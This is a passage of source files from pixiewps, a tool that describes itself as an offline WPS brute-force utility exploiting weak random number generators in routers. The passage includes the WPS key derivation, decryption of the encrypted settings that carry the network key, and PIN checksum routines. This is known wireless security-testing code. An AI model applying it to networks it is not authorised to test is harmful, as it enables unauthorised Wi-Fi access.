unsigned int n = 0;
for (i = 0; i < sizeof(unsigned int) * 8; i++) {
const unsigned int lsb = v & 1;
v >>= 1;
n <<= 1;
n |= lsb;
}
return n;
}
/* Custom timegm function made by Eric S Raymond */
time_t c_timegm(struct tm *t)
{
long year;
time_t result;
#define MONTHS_PER_YEAR 12 /* Months per calendar year */
static const int cdays[MONTHS_PER_YEAR] =
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 };
year = 1900 + t->tm_year + t->tm_mon / MONTHS_PER_YEAR;
result = (year - 1970) * 365 + cdays[t->tm_mon % MONTHS_PER_YEAR];
result += (year - 1968) / 4;
result -= (year - 1900) / 100;
result += (year - 1600) / 400;
if ((year % 4) == 0 && ((year % 100) != 0 || (year % 400) == 0) &&
(t->tm_mon % MONTHS_PER_YEAR) < 2) {
result--;
}
result += t->tm_mday - 1;
result *= 24;
result += t->tm_hour;
result *= 60;
result += t->tm_min;
result *= 60;
result += t->tm_sec;
if (t->tm_isdst == 1)
result -= 3600;
return result;
}
/* Convert a [mm/]yyyy string to Unix date time */
unsigned int get_unix_datetime(char *s, time_t *datetime)
{
unsigned int len = strlen(s);
int month = 0, year;
if (len == 4) {
if (get_int(s, &year))
return 1;
}
else if (len == 7) {
if (s[2] != '/' && s[2] != '-' && s[2] != '.')
return 1;
char s_month[3];
char s_year[5];
if (s[0] == '0') {
s_month[0] = s[1];
s_month[1] = 0;
}
else {
s_month[0] = s[0];
s_month[1] = s[1];
s_month[2] = 0;
}
s_year[0] = s[3];
s_year[1] = s[4];
s_year[2] = s[5];
s_year[3] = s[6];
s_year[4] = 0;
if (get_int(s_month, &month) || get_int(s_year, &year))
return 1;
if (year < 1970 || year > 2038 || month < 1 || month > 12 || (month > 2 && year == 2038))
return 1;
}
else {
return 1;
}
if (year == 2038 && month == 2) {
*datetime = (time_t)0x7fffffff;
}
else {
struct tm t = {
.tm_year = year - 1900,
.tm_mon = month - 1,
.tm_mday = 1 };
*datetime = c_timegm(&t);
if (*datetime < 0) /* When time_t is 64 bits this check is pointless */
return 1;
}
return 0;
}
/* Subtract the struct timeval values X and Y
Return 1 if the difference is negative, otherwise 0
Reference: https://www.gnu.org/software/libc/manual/html_node/Elapsed-Time.html */
int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y)
{
/* Perform the carry for the later subtraction by updating y */
if (x->tv_usec < y->tv_usec) {
const int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
y->tv_usec -= 1000000 * nsec;
y->tv_sec += nsec;
}
if (x->tv_usec - y->tv_usec > 1000000) {
const int nsec = (x->tv_usec - y->tv_usec) / 1000000;
y->tv_usec += 1000000 * nsec;
y->tv_sec -= nsec;
}
/* Compute the time remaining to wait, tv_usec is certainly positive */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_usec = x->tv_usec - y->tv_usec;
/* Return 1 if result is negative */
return x->tv_sec < y->tv_sec;
}
/* Convert an unsigned integer to a char array without termination */
static inline void uint_to_char_array(unsigned int num, unsigned int len, char *dst)
{
unsigned int mul = 1;
while (len--) {
dst[len] = (num % (mul * 10) / mul) + '0';
mul *= 10;
}
}
/* Print a byte array in hexadecimal */
void byte_array_print(const uint8_t *buffer, const unsigned int length)
{
for (unsigned int i = 0; i < length; i++)
printf("%02x", buffer[i]);
}
#endif /* UTILS_H */

23
src/version.h Normal file
View File

@ -0,0 +1,23 @@
/*
* pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs
*
* Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
* SPDX-License-Identifier: GPL-3.0+
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef VERSION_H
#define VERSION_H
#define SHORT_VERSION "1.4"
#define LONG_VERSION "1.4.2"
#endif /* VERSION_H */

196
src/wps.h Normal file
View File

@ -0,0 +1,196 @@
/*
* pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs
*
* Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
* SPDX-License-Identifier: GPL-3.0+
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef WPS_H
#define WPS_H
/* WPS constants */
#define WPS_PIN_LEN 8
#define WPS_PKEY_LEN 192
#define WPS_HASH_LEN 32
#define WPS_AUTHKEY_LEN 32
#define WPS_EMSK_LEN 32
#define WPS_KEYWRAPKEY_LEN 16
#define WPS_NONCE_LEN 16
#define WPS_SECRET_NONCE_LEN 16
#define WPS_PSK_LEN 16
#define WPS_BSSID_LEN 6
#define ENC_SETTINGS_LEN 256 /* There is not a max length */
#define MAX_PSK_LEN 64
#include <stdlib.h>
#include <string.h>
#include "config.h"
#include "pixiewps.h"
#include "utils.h"
struct ie_vtag {
uint16_t id;
#define WPS_TAG_E_SNONCE_1 "\x10\x16"
#define WPS_TAG_E_SNONCE_2 "\x10\x17"
#define WPS_TAG_SSID "\x10\x45"
#define WPS_TAG_BSSID "\x10\x20"
#define WPS_TAG_AUTH_TYPE "\x10\x03"
#define WPS_TAG_ENC_TYPE "\x10\x0F"
#define WPS_TAG_NET_KEY "\x10\x27"
#define WPS_TAG_NET_KEY_IDX "\x10\x28"
#define WPS_TAG_KEYWRAP_AUTH "\x10\x1E"
uint16_t len;
#define WPS_TAG_AUTH_TYPE_LEN 2
#define WPS_TAG_ENC_TYPE_LEN 2
#define WPS_TAG_NET_KEY_IDX_LEN 1
#define WPS_TAG_KEYWRAP_AUTH_LEN 8
uint8_t data[];
} __attribute__((packed));
#define VTAG_SIZE (sizeof(struct ie_vtag))
struct ie_vtag *find_vtag(void *vtagp, int vtagl, void *vidp, int vlen)
{
uint8_t *vid = vidp;
struct ie_vtag *vtag = vtagp;
while (0 < vtagl) {
const int len = end_ntoh16(vtag->len);
if (vid && memcmp(vid, &vtag->id, 2) != 0)
goto next_vtag;
if (!vlen || len == vlen)
return vtag;
next_vtag:
vtagl -= len + VTAG_SIZE;
vtag = (struct ie_vtag *)((uint8_t *)vtag + len + VTAG_SIZE);
}
return NULL;
}
/* Diffie-Hellman group */
static const uint8_t dh_group5_generator[1] = { 0x02 };
static const uint8_t dh_group5_prime[192] = {
0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF, 0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34,
0xC4,0xC6,0x62,0x8B, 0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08, 0x8A,0x67,0xCC,0x74,
0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22, 0x51,0x4A,0x08,0x79, 0x8E,0x34,0x04,0xDD,
0xEF,0x95,0x19,0xB3, 0xCD,0x3A,0x43,0x1B, 0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37,
0x4F,0xE1,0x35,0x6D, 0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76, 0x62,0x5E,0x7E,0xC6,
0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B, 0x0B,0xFF,0x5C,0xB6, 0xF4,0x06,0xB7,0xED,
0xEE,0x38,0x6B,0xFB, 0x5A,0x89,0x9F,0xA5, 0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6,
0x49,0x28,0x66,0x51, 0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8, 0xA1,0x63,0xBF,0x05,
0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A, 0x69,0x16,0x3F,0xA8, 0xFD,0x24,0xCF,0x5F,
0x83,0x65,0x5D,0x23, 0xDC,0xA3,0xAD,0x96, 0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB,
0x9E,0xD5,0x29,0x07, 0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E, 0x4A,0xBC,0x98,0x04,
0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27, 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF
};
/* Wi-Fi Easy and Secure Key Derivation */
static const uint8_t kdf_salt[] = {
0x57,0x69,0x2D,0x46, 0x69,0x20,0x45,0x61, 0x73,0x79,0x20,0x61, 0x6E,0x64,0x20,0x53,
0x65,0x63,0x75,0x72, 0x65,0x20,0x4B,0x65, 0x79,0x20,0x44,0x65, 0x72,0x69,0x76,0x61,
0x74,0x69,0x6F,0x6E
};
/* Key Derivation Function */
void kdf(const void *key, uint8_t *res)
{
const uint32_t kdk_len = (WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN) * 8;
uint_fast8_t j = 0;
uint8_t *buffer = malloc(sizeof(kdf_salt) + sizeof(uint32_t) * 2);
for (uint32_t i = 1; i < 4; i++) {
uint32_t be = end_htobe32(i);
memcpy(buffer, &be, sizeof(uint32_t));
memcpy(buffer + sizeof(uint32_t), kdf_salt, sizeof(kdf_salt));
be = end_htobe32(kdk_len);
memcpy(buffer + sizeof(uint32_t) + sizeof(kdf_salt), &be, sizeof(uint32_t));
hmac_sha256(key, WPS_HASH_LEN, buffer, sizeof(kdf_salt) + sizeof(uint32_t) * 2, res + j);
j += WPS_HASH_LEN;
}
free(buffer);
}
/* Decrypt encrypted settings in M7-M8 */
uint8_t *decrypt_encr_settings(uint8_t *keywrapkey, const uint8_t *encr, size_t encr_len)
{
uint8_t *decrypted;
const size_t block_size = 16;
size_t i;
uint8_t pad;
const uint8_t *pos;
size_t n_encr_len;
/* AES-128-CBC */
if (encr == NULL || encr_len < 2 * block_size || encr_len % block_size)
return NULL;
decrypted = malloc(encr_len - block_size);
if (decrypted == NULL)
return NULL;
memcpy(decrypted, encr + block_size, encr_len - block_size);
n_encr_len = encr_len - block_size;
if (aes_128_cbc_decrypt(keywrapkey, encr, decrypted, n_encr_len)) {
free(decrypted);
return NULL;
}
pos = decrypted + n_encr_len - 1;
pad = *pos;
if (pad > n_encr_len) {
free(decrypted);
return NULL;
}
for (i = 0; i < pad; i++) {
if (*pos-- != pad) {
free(decrypted);
return NULL;
}
}
return decrypted;
}
/* Pin checksum computing */
static inline uint_fast8_t wps_pin_checksum(uint_fast32_t pin)
{
unsigned int acc = 0;
while (pin) {
acc += 3 * (pin % 10);
pin /= 10;
acc += pin % 10;
pin /= 10;
}
return (10 - acc % 10) % 10;
}
/* Validity PIN control based on checksum */
static inline uint_fast8_t wps_pin_valid(uint_fast32_t pin)
{
return wps_pin_checksum(pin / 10) == (pin % 10);
}
/* Checks if PKe == 2 */
static inline uint_fast8_t check_small_dh_keys(const uint8_t *data)
{
uint_fast8_t i = WPS_PKEY_LEN - 2;
while (--i) {
if (data[i] != 0)
break;
}
i = (i == 0 && data[WPS_PKEY_LEN - 1] == 0x02) ? 1 : 0;
return i;
}
#endif /* WPS_H */